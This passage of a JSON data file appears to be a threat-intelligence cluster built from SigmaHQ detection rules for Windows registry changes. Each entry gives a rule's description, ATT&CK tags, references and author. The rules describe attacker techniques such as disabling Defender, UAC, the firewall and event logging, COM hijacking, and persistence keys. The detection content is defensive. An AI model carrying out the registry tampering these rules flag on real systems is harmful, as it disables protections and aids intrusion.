"https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/06/29", + "filename": "registry_set_cobaltstrike_service_installs.yml", + "author": "Wojciech Lesicki", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", + "uuid": "07743f65-7ec9-404a-a519-913db7118a8d", + "value": "COM Hijack via Sdclt", + "meta": { + "refs": [ + "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", + "https://www.exploit-db.com/exploits/47696", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546", + "attack.t1548" + ], + "creation_date": "2020/09/27", + "filename": "registry_set_comhijack_sdclt.yml", + "author": "Omkar Gudhate", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", + "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0", + "value": "CrashControl CrashDump Disabled", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml" + ], + "tags": [ + "attack.t1564", + "attack.t1112" + ], + "creation_date": "2022/02/24", + "filename": "registry_set_crashdump_disabled.yml", + "author": "Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Legitimate disabling of crashdumps" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect the creation of a service with a service binary located in a suspicious directory", + "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47", + "value": "Service Binary in Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/05/02", + "filename": "registry_set_creation_service_susp_folder.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect the creation of a service with a service binary located in a uncommon directory", + "uuid": "277dc340-0540-42e7-8efb-5ff460045e07", + "value": "Service Binary in Uncommon Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/05/02", + "filename": "registry_set_creation_service_uncommon_folder.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the abuse of custom file open handler, executing powershell", + "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc", + "value": "Custom File Open Handler Executes PowerShell", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/11", + "filename": "registry_set_custom_file_open_handler_powershell_execution.yml", + "author": "CD_R0M_", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", + "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567", + "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)", + "meta": { + "refs": [ + "https://windows-internals.com/printdemon-cve-2020-1048/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/05/13", + "filename": "registry_set_cve_2020_1048_new_printer_port.yml", + "author": "EagleEye Team, Florian Roth, NVISO", + "level": "high", + "falsepositive": [ + "New printer port install on host" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", + "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", + "value": "CVE-2021-31979 CVE-2021-33771 Exploits", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1566", + "attack.t1203", + "cve.2021.33771", + "cve.2021.31979" + ], + "creation_date": "2021/07/16", + "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", + "author": "Sittikorn S, frack113", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", + "uuid": "2d9403d5-7927-46b7-8216-37ab7c9ec5e3", + "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1221" + ], + "creation_date": "2020/05/31", + "filename": "registry_set_cve_2022_30190_msdt_follina.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence which will get invoked when an application crashes", + "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b", + "value": "Add Debugger Entry To DbgManagedDebugger For Persistence", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574" + ], + "creation_date": "2022/08/07", + "filename": "registry_set_dbgmanageddebugger_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Setting of Windows Defender Exclusions", + "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529", + "value": "Windows Defender Exclusions Added", + "meta": { + "refs": [ + "https://twitter.com/_nullbind/status/1204923340810543109", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/06", + "filename": "registry_set_defender_exclusions.yml", + "author": "Christian Burkard", + "level": "medium", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", + "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a", + "value": "DHCP Callout DLL Installation", + "meta": { + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ], + "creation_date": "2017/05/15", + "filename": "registry_set_dhcp_calloutdll.yml", + "author": "Dimitrios Slamaris", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender Exploit Guard Network Protection", + "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9", + "value": "Disable Exploit Guard Network Protection on Windows Defender", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", + "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157", + "value": "Disabled Windows Defender Eventlog", + "meta": { + "refs": [ + "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/07/04", + "filename": "registry_set_disabled_microsoft_defender_eventlog.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender PUA protection", + "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13", + "value": "Disable PUA Protection on Windows Defender", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender Tamper Protection", + "uuid": "93d298a1-d28f-47f1-a468-d971e7796679", + "value": "Disable Tamper Protection on Windows Defender", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", + "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e", + "value": "Disable Administrative Share Creation at Startup", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ], + "creation_date": "2022/01/16", + "filename": "registry_set_disable_administrative_share.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", + "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", + "value": "AutoLogger Sessions Tamper", + "meta": { + "refs": [ + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_disable_autologger_sessions.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", + "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f", + "value": "Disable Microsoft Defender Firewall via Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/01/09", + "filename": "registry_set_disable_defender_firewall.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", + "uuid": "e2482f8d-3443-4237-b906-cc145d87a076", + "value": "Disable Internal Tools or Feature in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/03/18", + "filename": "registry_set_disable_function_user.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", + "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", + "value": "Disable Macro Runtime Scan Scope", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", + "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", + "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/10/25", + "filename": "registry_set_disable_macroruntimescanscope.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Disable Microsoft Office Security Features by registry", + "uuid": "7c637634-c95d-4bbf-b26c-a82510874b34", + "value": "Disable Microsoft Office Security Features", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/06/08", + "filename": "registry_set_disable_microsoft_office_security_features.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that disable Privacy Settings Experience", + "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b", + "value": "Disable Privacy Settings Experience in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/10/02", + "filename": "registry_set_disable_privacy_settings_experience.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", + "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6", + "value": "Disable Windows Security Center Notifications", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_disable_security_center_notifications.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry to disable a system restore on the computer", + "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83", + "value": "Registry Disable System Restore", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/04/04", + "filename": "registry_set_disable_system_restore.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", + "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919", + "value": "Disable UAC Using Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/01/05", + "filename": "registry_set_disable_uac_registry.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", + "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a", + "value": "Windows Defender Service Disabled", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_disable_windows_defender_service.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd, frack113, AlertIQ, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set EnableFirewall to 0 to disable the windows firewall", + "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0", + "value": "Disable Windows Firewall by Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_disable_windows_firewall.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", + "uuid": "2f78da12-f7c7-430b-8b19-a28f269b77a3", + "value": "Disable Winevt Event Logging Via Registry", + "meta": { + "refs": [ + "https://twitter.com/WhichbufferArda/status/1543900539280293889", + "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/07/04", + "filename": "registry_set_disable_winevt_logging.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate administrators disabling specific event log for troubleshooting" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", + "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9", + "value": "Add DisallowRun Execution to Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_disallowrun_execution.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box [\u2026] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", + "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc", + "value": "Persistence Via Disk Cleanup Handler - Autorun", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/diskcleanuphandler.html", + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", + "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5", + "value": "DNS-over-HTTPS Enabled by Registry", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", + "https://github.com/elastic/detection-rules/issues/1371", + "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", + "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1112" + ], + "creation_date": "2021/07/22", + "filename": "registry_set_dns_over_https_enabled.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", + "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67", + "value": "DNS ServerLevelPluginDll Install", + "meta": { + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_serverlevelplugindll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ], + "creation_date": "2017/05/08", + "filename": "registry_set_dns_serverlevelplugindll.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", + "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f", + "value": "Enabling COR Profiler Environment Variables", + "meta": { + "refs": [ + "https://twitter.com/jamieantisocial/status/1304520651248668673", + "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", + "https://www.sans.org/cyber-security-summit/archives", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.012" + ], + "creation_date": "2020/09/10", + "filename": "registry_set_enabling_cor_profiler_env_variables.yml", + "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", + "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86", + "value": "Scripted Diagnostics Turn Off Check Enabled - Registry", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/06/15", + "filename": "registry_set_enabling_turnoffcheck.yml", + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544", + "value": "COMPlus_ETWEnabled Registry Modification", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + 